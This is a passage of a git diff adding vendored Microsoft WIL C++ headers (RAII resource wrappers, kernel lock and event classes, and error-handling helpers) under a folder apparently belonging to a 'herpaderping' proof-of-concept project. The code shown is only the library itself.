/// @endcond + + typedef unique_any unique_rpc_binding; + typedef unique_any unique_rpc_binding_vector; + typedef unique_any unique_rpc_wstr; +#endif +#if defined(__WIL_RPCDCE_H__) && !defined(__WIL_RPCDCE_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_RPCDCE_H_STL + typedef shared_any shared_rpc_binding; + typedef weak_any weak_rpc_binding; + typedef shared_any shared_rpc_binding_vector; + typedef weak_any weak_rpc_binding_vector; + typedef shared_any shared_rpc_wstr; + typedef weak_any weak_rpc_wstr; +#endif + +#if defined(_WCMAPI_H) && !defined(__WIL_WCMAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WCMAPI_H_ + using wcm_deleter = function_deleter; + + template + using unique_wcm_ptr = wistd::unique_ptr; +#endif + +#if defined(_NETIOAPI_H_) && defined(_WS2IPDEF_) && defined(MIB_INVALID_TEREDO_PORT_NUMBER) && !defined(__WIL_NETIOAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_NETIOAPI_H_ + typedef unique_any unique_mib_iftable; +#endif +#if defined(__WIL_NETIOAPI_H_) && !defined(__WIL_NETIOAPI_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_NETIOAPI_H_STL + typedef shared_any shared_mib_iftable; + typedef weak_any weak_mib_iftable; +#endif + +#if defined(_WLAN_WLANAPI_H) && !defined(__WIL_WLAN_WLANAPI_H) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_WLAN_WLANAPI_H + using wlan_deleter = function_deleter; + + template + using unique_wlan_ptr = wistd::unique_ptr < T, wlan_deleter >; + + /// @cond + namespace details + { + inline void __stdcall CloseWlanHandle(_Frees_ptr_ HANDLE hClientHandle) + { + ::WlanCloseHandle(hClientHandle, nullptr); + } + } + /// @endcond + + typedef unique_any unique_wlan_handle; +#endif +#if defined(__WIL_WLAN_WLANAPI_H) && !defined(__WIL_WLAN_WLANAPI_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_WLAN_WLANAPI_H_STL + typedef shared_any shared_wlan_handle; + typedef weak_any weak_wlan_handle; +#endif + +#if defined(_HPOWERNOTIFY_DEF_) && !defined(__WIL_HPOWERNOTIFY_DEF_H_) && !defined(WIL_KERNEL_MODE) +#define __WIL_HPOWERNOTIFY_DEF_H_ + typedef unique_any unique_hpowernotify; +#endif + +#if defined(__WIL_WINBASE_DESKTOP) && defined(SID_DEFINED) && !defined(__WIL_PSID_DEF_H_) +#define __WIL_PSID_DEF_H_ + typedef unique_any unique_any_psid; +#if defined(_OBJBASE_H_) + typedef unique_any unique_cotaskmem_psid; +#endif +#endif + +#if defined(_PROCESSTHREADSAPI_H_) && !defined(__WIL_PROCESSTHREADSAPI_H_DESK_SYS) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE) +#define __WIL_PROCESSTHREADSAPI_H_DESK_SYS + /// @cond + namespace details + { + inline void __stdcall CloseProcessInformation(_In_ PROCESS_INFORMATION* p) + { + if (p->hProcess) + { + CloseHandle(p->hProcess); + } + + if (p->hThread) + { + CloseHandle(p->hThread); + } + } + } + /// @endcond + + /** Manages the outbound parameter containing handles returned by `CreateProcess()` and related methods. + ~~~ + unique_process_information process; + CreateProcessW(..., CREATE_SUSPENDED, ..., &process); + THROW_IF_WIN32_BOOL_FALSE(ResumeThread(process.hThread)); + THROW_LAST_ERROR_IF(WaitForSingleObject(process.hProcess, INFINITE) != WAIT_OBJECT_0); + ~~~ + */ + using unique_process_information = unique_struct; +#endif + +#if defined(_PROCESSENV_) && !defined(__WIL__PROCESSENV_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) +#define __WIL__PROCESSENV_ + /** Manages lifecycle of an environment-strings block + ~~~ + wil::unique_environstrings_ptr env { ::GetEnvironmentStringsW() }; + const wchar_t *nextVar = env.get(); + while (nextVar && *nextVar) + { + // consume 'nextVar' + nextVar += wcslen(nextVar) + 1; + } + ~~~ + */ + using unique_environstrings_ptr = wistd::unique_ptr>; + +#ifndef WIL_NO_ANSI_STRINGS + //! ANSI equivalent to unique_environstrings_ptr; + using unique_environansistrings_ptr = wistd::unique_ptr>; +#endif +#endif + +#if defined(_APPMODEL_H_) && !defined(__WIL_APPMODEL_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) +#define __WIL_APPMODEL_H_ + typedef unique_any unique_package_info_reference; +#endif // __WIL_APPMODEL_H_ +#if defined(__WIL_APPMODEL_H_) && !defined(__WIL_APPMODEL_H_STL) && defined(WIL_RESOURCE_STL) +#define __WIL_APPMODEL_H_STL + typedef shared_any shared_package_info_reference; + typedef weak_any weak_package_info_reference; +#endif // __WIL_APPMODEL_H_STL + +#if defined(WDFAPI) && !defined(__WIL_WDFAPI) +#define __WIL_WDFAPI + + namespace details + { + template + using wdf_object_resource_policy = resource_policy; + } + + template + using unique_wdf_any = unique_any_t>>; + + using unique_wdf_object = unique_wdf_any; + + using unique_wdf_timer = unique_wdf_any; + using unique_wdf_work_item = unique_wdf_any; + + using unique_wdf_memory = unique_wdf_any; + + using unique_wdf_dma_enabler = unique_wdf_any; + using unique_wdf_dma_transaction = unique_wdf_any; + using unique_wdf_common_buffer = unique_wdf_any; + + using unique_wdf_key = unique_wdf_any; + using unique_wdf_string = unique_wdf_any; + using unique_wdf_collection = unique_wdf_any; + + using wdf_wait_lock_release_scope_exit = + unique_any< + WDFWAITLOCK, + decltype(&::WdfWaitLockRelease), + ::WdfWaitLockRelease, + details::pointer_access_none>; + + inline + WI_NODISCARD + _IRQL_requires_max_(PASSIVE_LEVEL) + _Acquires_lock_(lock) + wdf_wait_lock_release_scope_exit + acquire_wdf_wait_lock(WDFWAITLOCK lock) WI_NOEXCEPT + { + ::WdfWaitLockAcquire(lock, nullptr); + return wdf_wait_lock_release_scope_exit(lock); + } + + inline + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + _When_(return, _Acquires_lock_(lock)) + wdf_wait_lock_release_scope_exit + try_acquire_wdf_wait_lock(WDFWAITLOCK lock) WI_NOEXCEPT + { + LONGLONG timeout = 0; + NTSTATUS status = ::WdfWaitLockAcquire(lock, &timeout); + if (status == STATUS_SUCCESS) + { + return wdf_wait_lock_release_scope_exit(lock); + } + else + { + return wdf_wait_lock_release_scope_exit(); + } + } + + using wdf_spin_lock_release_scope_exit = + unique_any< + WDFSPINLOCK, + decltype(&::WdfSpinLockRelease), + ::WdfSpinLockRelease, + details::pointer_access_none>; + + inline + WI_NODISCARD + _IRQL_requires_max_(DISPATCH_LEVEL) + _IRQL_raises_(DISPATCH_LEVEL) + _Acquires_lock_(lock) + wdf_spin_lock_release_scope_exit + acquire_wdf_spin_lock(WDFSPINLOCK lock) WI_NOEXCEPT + { + ::WdfSpinLockAcquire(lock); + return wdf_spin_lock_release_scope_exit(lock); + } + + namespace details + { + template + using unique_wdf_lock_storage = unique_storage>; + + class unique_wdf_spin_lock_storage : public unique_wdf_lock_storage + { + using wdf_lock_storage_t = unique_wdf_lock_storage; + + public: + using pointer = wdf_lock_storage_t::pointer; + + // Forward all base class constructors, but have it be explicit. + template + explicit unique_wdf_spin_lock_storage(args_t&& ... args) WI_NOEXCEPT : wdf_lock_storage_t(wistd::forward(args)...) {} + + NTSTATUS create(_In_opt_ WDF_OBJECT_ATTRIBUTES* attributes = WDF_NO_OBJECT_ATTRIBUTES) + { + return ::WdfSpinLockCreate(attributes, out_param(*this)); + } + + WI_NODISCARD + _IRQL_requires_max_(DISPATCH_LEVEL) + _IRQL_raises_(DISPATCH_LEVEL) + wdf_spin_lock_release_scope_exit acquire() WI_NOEXCEPT + { + return wil::acquire_wdf_spin_lock(wdf_lock_storage_t::get()); + } + }; + + class unique_wdf_wait_lock_storage : public unique_wdf_lock_storage + { + using wdf_lock_storage_t = unique_wdf_lock_storage; + + public: + using pointer = wdf_lock_storage_t::pointer; + + // Forward all base class constructors, but have it be explicit. + template + explicit unique_wdf_wait_lock_storage(args_t&& ... args) WI_NOEXCEPT : wdf_lock_storage_t(wistd::forward(args)...) {} + + NTSTATUS create(_In_opt_ WDF_OBJECT_ATTRIBUTES* attributes = WDF_NO_OBJECT_ATTRIBUTES) + { + return ::WdfWaitLockCreate(attributes, out_param(*this)); + } + + WI_NODISCARD + _IRQL_requires_max_(PASSIVE_LEVEL) + wdf_wait_lock_release_scope_exit acquire() WI_NOEXCEPT + { + return wil::acquire_wdf_wait_lock(wdf_lock_storage_t::get()); + } + + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + wdf_wait_lock_release_scope_exit try_acquire() WI_NOEXCEPT + { + return wil::try_acquire_wdf_wait_lock(wdf_lock_storage_t::get()); + } + }; + } + + using unique_wdf_wait_lock = unique_any_t; + using unique_wdf_spin_lock = unique_any_t; + + template + struct wdf_object_reference + { + TWDFOBJECT wdfObject = WDF_NO_HANDLE; + PVOID tag = nullptr; + + wdf_object_reference() WI_NOEXCEPT = default; + + wdf_object_reference(TWDFOBJECT wdfObject, PVOID tag = nullptr) WI_NOEXCEPT + : wdfObject(wdfObject), tag(tag) + { + } + + operator TWDFOBJECT() const WI_NOEXCEPT + { + return wdfObject; + } + + static void close(const wdf_object_reference& wdfObjectReference) WI_NOEXCEPT + { + // We don't use WdfObjectDereferenceActual because there is no way to provide the + // correct __LINE__ and __FILE__, but if you use RAII all the way, you shouldn't have to + // worry about where it was released, only where it was acquired. + WdfObjectDereferenceWithTag(wdfObjectReference.wdfObject, wdfObjectReference.tag); + } + }; + + template + using unique_wdf_object_reference = unique_any::close), + &wdf_object_reference::close, details::pointer_access_noaddress, wdf_object_reference>; + + // Increment the ref-count on a WDF object a unique_wdf_object_reference for it. Use + // WI_WdfObjectReferenceIncrement to automatically use the call-site source location. Use this + // function only if the call-site source location is obtained from elsewhere (i.e., plumbed + // through other abstractions). + template + inline WI_NODISCARD unique_wdf_object_reference wdf_object_reference_increment( + TWDFOBJECT wdfObject, PVOID tag, LONG lineNumber, PCSTR fileName) WI_NOEXCEPT + { + // Parameter is incorrectly marked as non-const, so the const-cast is required. + ::WdfObjectReferenceActual(wdfObject, tag, lineNumber, const_cast(fileName)); + return unique_wdf_object_reference{ wdf_object_reference{ wdfObject, tag } }; + } + +// A macro so that we can capture __LINE__ and __FILE__. +#define WI_WdfObjectReferenceIncrement(wdfObject, tag) \ + wil::wdf_object_reference_increment(wdfObject, tag, __LINE__, __FILE__) + +#endif + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && \ + defined(_CFGMGR32_H_) && \ + (WINVER >= _WIN32_WINNT_WIN8) && \ + !defined(__WIL_CFGMGR32_H_) +#define __WIL_CFGMGR32_H_ + typedef unique_any unique_hcmnotification; +#endif + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && \ + defined(_SWDEVICE_H_) && \ + (WINVER >= _WIN32_WINNT_WIN8) && \ + !defined(__WIL_SWDEVICE_H_) +#define __WIL_SWDEVICE_H_ + typedef unique_any unique_hswdevice; +#endif + +#if defined(WIL_KERNEL_MODE) && (defined(_WDMDDK_) || defined(_NTDDK_)) && !defined(__WIL_RESOURCE_WDM) +#define __WIL_RESOURCE_WDM + + namespace details + { + struct kspin_lock_saved_irql + { + PKSPIN_LOCK spinLock = nullptr; + KIRQL savedIrql = PASSIVE_LEVEL; + + kspin_lock_saved_irql() = default; + + kspin_lock_saved_irql(PKSPIN_LOCK /* spinLock */) + { + // This constructor exists simply to allow conversion of the pointer type to + // pointer_storage type when constructing an invalid instance. The spinLock pointer + // is expected to be nullptr. + } + + // Exists to satisfy the interconvertibility requirement for pointer_storage and + // pointer. + explicit operator PKSPIN_LOCK() const + { + return spinLock; + } + + _IRQL_requires_(DISPATCH_LEVEL) + static + void Release(_In_ _IRQL_restores_ const kspin_lock_saved_irql& spinLockSavedIrql) + { + KeReleaseSpinLock(spinLockSavedIrql.spinLock, spinLockSavedIrql.savedIrql); + } + }; + + // On some architectures KeReleaseSpinLockFromDpcLevel is a macro, and we need a thunk + // function we can take the address of. + inline + _IRQL_requires_min_(DISPATCH_LEVEL) + void __stdcall ReleaseSpinLockFromDpcLevel(_Inout_ PKSPIN_LOCK spinLock) WI_NOEXCEPT + { + KeReleaseSpinLockFromDpcLevel(spinLock); + } + } + + using kspin_lock_guard = unique_any; + + using kspin_lock_at_dpc_guard = unique_any; + + WI_NODISCARD + inline + _IRQL_requires_max_(DISPATCH_LEVEL) + _IRQL_saves_ + _IRQL_raises_(DISPATCH_LEVEL) + kspin_lock_guard + acquire_kspin_lock(_In_ PKSPIN_LOCK spinLock) + { + details::kspin_lock_saved_irql spinLockSavedIrql; + KeAcquireSpinLock(spinLock, &spinLockSavedIrql.savedIrql); + spinLockSavedIrql.spinLock = spinLock; + return kspin_lock_guard(spinLockSavedIrql); + } + + WI_NODISCARD + inline + _IRQL_requires_min_(DISPATCH_LEVEL) + kspin_lock_at_dpc_guard + acquire_kspin_lock_at_dpc(_In_ PKSPIN_LOCK spinLock) + { + KeAcquireSpinLockAtDpcLevel(spinLock); + return kspin_lock_at_dpc_guard(spinLock); + } + + class kernel_spin_lock + { + public: + kernel_spin_lock() WI_NOEXCEPT + { + ::KeInitializeSpinLock(&m_kSpinLock); + } + + ~kernel_spin_lock() = default; + + // Cannot change memory location. + kernel_spin_lock(const kernel_spin_lock&) = delete; + kernel_spin_lock& operator=(const kernel_spin_lock&) = delete; + kernel_spin_lock(kernel_spin_lock&&) = delete; + kernel_spin_lock& operator=(kernel_spin_lock&&) = delete; + + WI_NODISCARD + _IRQL_requires_max_(DISPATCH_LEVEL) + _IRQL_saves_ + _IRQL_raises_(DISPATCH_LEVEL) + kspin_lock_guard acquire() WI_NOEXCEPT + { + return acquire_kspin_lock(&m_kSpinLock); + } + + WI_NODISCARD + _IRQL_requires_min_(DISPATCH_LEVEL) + kspin_lock_at_dpc_guard acquire_at_dpc() WI_NOEXCEPT + { + return acquire_kspin_lock_at_dpc(&m_kSpinLock); + } + + private: + KSPIN_LOCK m_kSpinLock; + }; + + namespace details + { + template + class kernel_event_t + { + public: + explicit kernel_event_t(bool isSignaled = false) WI_NOEXCEPT + { + ::KeInitializeEvent(&m_kernelEvent, static_cast(eventType), isSignaled ? TRUE : FALSE); + } + + // Cannot change memory location. + kernel_event_t(const kernel_event_t&) = delete; + kernel_event_t(kernel_event_t&&) = delete; + kernel_event_t& operator=(const kernel_event_t&) = delete; + kernel_event_t& operator=(kernel_event_t&&) = delete; + + // Get the underlying KEVENT structure for more advanced usages like + // KeWaitForMultipleObjects or KeWaitForSingleObject with non-default parameters. + PRKEVENT get() WI_NOEXCEPT + { + return &m_kernelEvent; + } + + void clear() WI_NOEXCEPT + { + // The most common use-case is to clear the event with no interest in its previous + // value. Hence, that is the functionality we provide by default. If the previous + // value is required, one may .get() the underlying event object and call + // ::KeResetEvent(). + ::KeClearEvent(&m_kernelEvent); + } + + // Returns the previous state of the event. + bool set(KPRIORITY increment = IO_NO_INCREMENT) WI_NOEXCEPT + { + return ::KeSetEvent(&m_kernelEvent, increment, FALSE) ? true : false; + } + + // Checks if the event is currently signaled. Does not change the state of the event. + bool is_signaled() const WI_NOEXCEPT + { + return ::KeReadStateEvent(const_cast(&m_kernelEvent)) ? true : false; + } + + // Return true if the wait was satisfied. Time is specified in 100ns units, relative + // (negative) or absolute (positive). For more details, see the documentation of + // KeWaitForSingleObject. + bool wait(LONGLONG waitTime) WI_NOEXCEPT + { + LARGE_INTEGER duration; + duration.QuadPart = waitTime; + return wait_for_single_object(&duration); + } + + // Waits indefinitely for the event to be signaled. + void wait() WI_NOEXCEPT + { + wait_for_single_object(nullptr); + } + + private: + bool wait_for_single_object(_In_opt_ LARGE_INTEGER* waitDuration) WI_NOEXCEPT + { + auto status = ::KeWaitForSingleObject(&m_kernelEvent, Executive, KernelMode, FALSE, waitDuration); + + // We specified Executive and non-alertable, which means some of the return values are + // not possible. + WI_ASSERT((status == STATUS_SUCCESS) || (status == STATUS_TIMEOUT)); + return (status == STATUS_SUCCESS); + } + + KEVENT m_kernelEvent; + }; + } + + using kernel_event_auto_reset = details::kernel_event_t; + using kernel_event_manual_reset = details::kernel_event_t; + using kernel_event = kernel_event_auto_reset; // For parity with the default for other WIL event types. + + /** + RAII class and lock-guards for a kernel FAST_MUTEX. + */ + + using fast_mutex_guard = unique_any; + + WI_NODISCARD + inline + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_guard acquire_fast_mutex(FAST_MUTEX* fastMutex) WI_NOEXCEPT + { + ::ExAcquireFastMutex(fastMutex); + return fast_mutex_guard(fastMutex); + } + + WI_NODISCARD + inline + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_guard try_acquire_fast_mutex(FAST_MUTEX* fastMutex) WI_NOEXCEPT + { + if (::ExTryToAcquireFastMutex(fastMutex)) + { + return fast_mutex_guard(fastMutex); + } + else + { + return fast_mutex_guard(); + } + } + + class fast_mutex + { + public: + fast_mutex() WI_NOEXCEPT + { + ::ExInitializeFastMutex(&m_fastMutex); + } + + ~fast_mutex() WI_NOEXCEPT = default; + + // Cannot change memory location. + fast_mutex(const fast_mutex&) = delete; + fast_mutex& operator=(const fast_mutex&) = delete; + fast_mutex(fast_mutex&&) = delete; + fast_mutex& operator=(fast_mutex&&) = delete; + + // Calls ExAcquireFastMutex. Returned wil::unique_any object calls ExReleaseFastMutex on + // destruction. + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_guard acquire() WI_NOEXCEPT + { + return acquire_fast_mutex(&m_fastMutex); + } + + // Calls ExTryToAcquireFastMutex. Returned wil::unique_any may be empty. If non-empty, it + // calls ExReleaseFastMutex on destruction. + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_guard try_acquire() WI_NOEXCEPT + { + return try_acquire_fast_mutex(&m_fastMutex); + } + + private: + FAST_MUTEX m_fastMutex; + }; + + namespace details + { + _IRQL_requires_max_(APC_LEVEL) + inline void release_fast_mutex_with_critical_region(FAST_MUTEX* fastMutex) WI_NOEXCEPT + { + ::ExReleaseFastMutexUnsafe(fastMutex); + ::KeLeaveCriticalRegion(); + } + } + + using fast_mutex_with_critical_region_guard = + unique_any; + + WI_NODISCARD + inline + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_with_critical_region_guard acquire_fast_mutex_with_critical_region(FAST_MUTEX* fastMutex) WI_NOEXCEPT + { + ::KeEnterCriticalRegion(); + ::ExAcquireFastMutexUnsafe(fastMutex); + return fast_mutex_with_critical_region_guard(fastMutex); + } + + // A FAST_MUTEX lock class that calls KeEnterCriticalRegion and then ExAcquireFastMutexUnsafe. + // Returned wil::unique_any lock-guard calls ExReleaseFastMutexUnsafe and KeLeaveCriticalRegion + // on destruction. This is useful if calling code wants to stay at PASSIVE_LEVEL. + class fast_mutex_with_critical_region + { + public: + fast_mutex_with_critical_region() WI_NOEXCEPT + { + ::ExInitializeFastMutex(&m_fastMutex); + } + + ~fast_mutex_with_critical_region() WI_NOEXCEPT = default; + + // Cannot change memory location. + fast_mutex_with_critical_region(const fast_mutex_with_critical_region&) = delete; + fast_mutex_with_critical_region& operator=(const fast_mutex_with_critical_region&) = delete; + fast_mutex_with_critical_region(fast_mutex_with_critical_region&&) = delete; + fast_mutex_with_critical_region& operator=(fast_mutex_with_critical_region&&) = delete; + + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + fast_mutex_with_critical_region_guard acquire() WI_NOEXCEPT + { + return acquire_fast_mutex_with_critical_region(&m_fastMutex); + } + + private: + FAST_MUTEX m_fastMutex; + }; + + namespace details + { + _IRQL_requires_max_(APC_LEVEL) + inline void release_push_lock_exclusive(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT + { + ::ExReleasePushLockExclusive(pushLock); + ::KeLeaveCriticalRegion(); + } + + _IRQL_requires_max_(APC_LEVEL) + inline void release_push_lock_shared(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT + { + ::ExReleasePushLockShared(pushLock); + ::KeLeaveCriticalRegion(); + } + } + + using push_lock_exclusive_guard = + unique_any; + + using push_lock_shared_guard = + unique_any; + + WI_NODISCARD + inline + _IRQL_requires_max_(APC_LEVEL) + push_lock_exclusive_guard acquire_push_lock_exclusive(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT + { + ::KeEnterCriticalRegion(); + ::ExAcquirePushLockExclusive(pushLock); + return push_lock_exclusive_guard(pushLock); + } + + WI_NODISCARD + inline + _IRQL_requires_max_(APC_LEVEL) + push_lock_shared_guard acquire_push_lock_shared(EX_PUSH_LOCK* pushLock) WI_NOEXCEPT + { + ::KeEnterCriticalRegion(); + ::ExAcquirePushLockShared(pushLock); + return push_lock_shared_guard(pushLock); + } + + class push_lock + { + public: + push_lock() WI_NOEXCEPT + { + ::ExInitializePushLock(&m_pushLock); + } + + ~push_lock() WI_NOEXCEPT = default; + + // Cannot change memory location. + push_lock(const push_lock&) = delete; + push_lock& operator=(const push_lock&) = delete; + push_lock(push_lock&&) = delete; + push_lock& operator=(push_lock&&) = delete; + + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + push_lock_exclusive_guard acquire_exclusive() WI_NOEXCEPT + { + return acquire_push_lock_exclusive(&m_pushLock); + } + + WI_NODISCARD + _IRQL_requires_max_(APC_LEVEL) + push_lock_shared_guard acquire_shared() WI_NOEXCEPT + { + return acquire_push_lock_shared(&m_pushLock); + } + + private: + EX_PUSH_LOCK m_pushLock; + }; + + namespace details + { + // Define a templated type for pool functions in order to satisfy overload resolution below + template + struct pool_helpers + { + static inline + _IRQL_requires_max_(DISPATCH_LEVEL) + void __stdcall FreePoolWithTag(pointer value) WI_NOEXCEPT + { + if (value) + { + ExFreePoolWithTag(value, tag); + } + } + }; + } + + template + using unique_tagged_pool_ptr = unique_any::FreePoolWithTag), &details::pool_helpers::FreePoolWithTag>; + + // For use with IRPs that need to be IoFreeIrp'ed when done, typically allocated using IoAllocateIrp. + using unique_allocated_irp = wil::unique_any; + using unique_io_workitem = wil::unique_any; + +#endif // __WIL_RESOURCE_WDM + +#if defined(WIL_KERNEL_MODE) && (defined(_WDMDDK_) || defined(_ZWAPI_)) && !defined(__WIL_RESOURCE_ZWAPI) +#define __WIL_RESOURCE_ZWAPI + + using unique_kernel_handle = wil::unique_any; + +#endif // __WIL_RESOURCE_ZWAPI + +} // namespace wil + +#pragma warning(pop) diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result.h new file mode 100644 index 00000000..93a85b76 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/wil/result.h @@ -0,0 +1,1275 @@ +//********************************************************* +// +// Copyright (c) Microsoft. All rights reserved. +// This code is licensed under the MIT License. +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +// PARTICULAR PURPOSE AND NONINFRINGEMENT. +// +//********************************************************* +#ifndef __WIL_RESULT_INCLUDED +#define __WIL_RESULT_INCLUDED + +// Most functionality is picked up from result_macros.h. This file specifically provides higher level processing of errors when +// they are encountered by the underlying macros. +#include "result_macros.h" + +// Note that we avoid pulling in STL's memory header from Result.h through Resource.h as we have +// Result.h customers who are still on older versions of STL (without std::shared_ptr<>). +#ifndef RESOURCE_SUPPRESS_STL +#define RESOURCE_SUPPRESS_STL +#include "resource.h" +#undef RESOURCE_SUPPRESS_STL +#else +#include "resource.h" +#endif + +#ifdef WIL_KERNEL_MODE +#error This header is not supported in kernel-mode. +#endif + +// The updated behavior of running init-list ctors during placement new is proper & correct, disable the warning that requests developers verify they want it +#pragma warning(push) +#pragma warning(disable : 4351) + +namespace wil +{ + // WARNING: EVERYTHING in this namespace must be handled WITH CARE as the entities defined within + // are used as an in-proc ABI contract between binaries that utilize WIL. Making changes + // that add v-tables or change the storage semantics of anything herein needs to be done + // with care and respect to versioning. + ///@cond + namespace details_abi + { + #define __WI_SEMAHPORE_VERSION L"_p0" + + // This class uses named semaphores to be able to stash a numeric value (including a pointer + // for retrieval from within any module in a process). This is a very specific need of a + // header-based library that should not be generally used. + // + // Notes for use: + // * Data members must be stable unless __WI_SEMAHPORE_VERSION is changed + // * The class must not reference module code (v-table, function pointers, etc) + // * Use of this class REQUIRES that there be a MUTEX held around the semaphore manipulation + // and tests as it doesn't attempt to handle thread contention on the semaphore while manipulating + // the count. + // * This class supports storing a 31-bit number of a single semaphore or a 62-bit number across + // two semaphores and directly supports pointers. + + class SemaphoreValue + { + public: + SemaphoreValue() = default; + SemaphoreValue(const SemaphoreValue&) = delete; + SemaphoreValue& operator=(const SemaphoreValue&) = delete; + + SemaphoreValue(SemaphoreValue&& other) WI_NOEXCEPT : + m_semaphore(wistd::move(other.m_semaphore)), + m_semaphoreHigh(wistd::move(other.m_semaphoreHigh)) + { + static_assert(sizeof(m_semaphore) == sizeof(HANDLE), "unique_any must be a direct representation of the HANDLE to be used across module"); + } + + void Destroy() + { + m_semaphore.reset(); + m_semaphoreHigh.reset(); + } + + template + HRESULT CreateFromValue(PCWSTR name, T value) + { + return CreateFromValueInternal(name, (sizeof(value) > sizeof(unsigned long)), static_cast(value)); + } + + HRESULT CreateFromPointer(PCWSTR name, void* pointer) + { + ULONG_PTR value = reinterpret_cast(pointer); + FAIL_FAST_IMMEDIATE_IF(WI_IsAnyFlagSet(value, 0x3)); + return CreateFromValue(name, value >> 2); + } + + template + static HRESULT TryGetValue(PCWSTR name, _Out_ T* value, _Out_opt_ bool *retrieved = nullptr) + { + *value = static_cast(0); + unsigned __int64 value64 = 0; + __WIL_PRIVATE_RETURN_IF_FAILED(TryGetValueInternal(name, (sizeof(T) > sizeof(unsigned long)), &value64, retrieved)); + *value = static_cast(value64); + return S_OK; + } + + static HRESULT TryGetPointer(PCWSTR name, _Outptr_result_maybenull_ void** pointer) + { + *pointer = nullptr; + ULONG_PTR value = 0; + __WIL_PRIVATE_RETURN_IF_FAILED(TryGetValue(name, &value)); + *pointer = reinterpret_cast(value << 2); + return S_OK; + } + + private: + HRESULT CreateFromValueInternal(PCWSTR name, bool is64Bit, unsigned __int64 value) + { + WI_ASSERT(!m_semaphore && !m_semaphoreHigh); // call Destroy first + + // This routine only supports 31 bits when semahporeHigh is not supplied or 62 bits when the value + // is supplied. It's a programming error to use it when either of these conditions are not true. + + FAIL_FAST_IMMEDIATE_IF((!is64Bit && WI_IsAnyFlagSet(value, 0xFFFFFFFF80000000)) || + (is64Bit && WI_IsAnyFlagSet(value, 0xC000000000000000))); + + wchar_t localName[MAX_PATH]; + WI_VERIFY_SUCCEEDED(StringCchCopyW(localName, ARRAYSIZE(localName), name)); + WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), __WI_SEMAHPORE_VERSION)); + + const unsigned long highPart = static_cast(value >> 31); + const unsigned long lowPart = static_cast(value & 0x000000007FFFFFFF); + + // We set the count of the semaphore equal to the max (the value we're storing). The only exception to that + // is ZERO, where you can't create a semaphore of value ZERO, where we push the max to one and use a count of ZERO. + + __WIL_PRIVATE_RETURN_IF_FAILED(m_semaphore.create(static_cast(lowPart), static_cast((lowPart > 0) ? lowPart : 1), localName)); + if (is64Bit) + { + WI_VERIFY_SUCCEEDED(StringCchCatW(localName, ARRAYSIZE(localName), L"h")); + __WIL_PRIVATE_RETURN_IF_FAILED(m_semaphoreHigh.create(static_cast(highPart), static_cast((highPart > 0) ? highPart : 1), localName)); + } + + return S_OK; + } + + static HRESULT GetValueFromSemaphore(HANDLE semaphore, _Out_ LONG* count) + { + // First we consume a single count from the semaphore. This will work in all cases other + // than the case where the count we've recorded is ZERO which will TIMEOUT. + + DWORD result = ::WaitForSingleObject(semaphore, 0); + __WIL_PRIVATE_RETURN_LAST_ERROR_IF(result == WAIT_FAILED); + __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, !((result == WAIT_OBJECT_0) || (result == WAIT_TIMEOUT))); + + LONG value = 0; + if (result == WAIT_OBJECT_0) + { + // We were able to wait. To establish our count, all we have to do is release that count + // back to the semaphore and observe the value that we released. + + __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(::ReleaseSemaphore(semaphore, 1, &value)); + value++; // we waited first, so our actual value is one more than the old value + + // Make sure the value is correct by validating that we have no more posts. + BOOL expectedFailure = ::ReleaseSemaphore(semaphore, 1, nullptr); + __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expectedFailure || (::GetLastError() != ERROR_TOO_MANY_POSTS)); + } + else + { + WI_ASSERT(result == WAIT_TIMEOUT); + + // We know at this point that the value is ZERO. We'll do some verification to ensure that + // this address is right by validating that we have one and only one more post that we could use. + + LONG expected = 0; + __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(::ReleaseSemaphore(semaphore, 1, &expected)); + __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expected != 0); + + const BOOL expectedFailure = ::ReleaseSemaphore(semaphore, 1, nullptr); + __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, expectedFailure || (::GetLastError() != ERROR_TOO_MANY_POSTS)); + + result = ::WaitForSingleObject(semaphore, 0); + __WIL_PRIVATE_RETURN_LAST_ERROR_IF(result == WAIT_FAILED); + __WIL_PRIVATE_RETURN_HR_IF(E_UNEXPECTED, result != 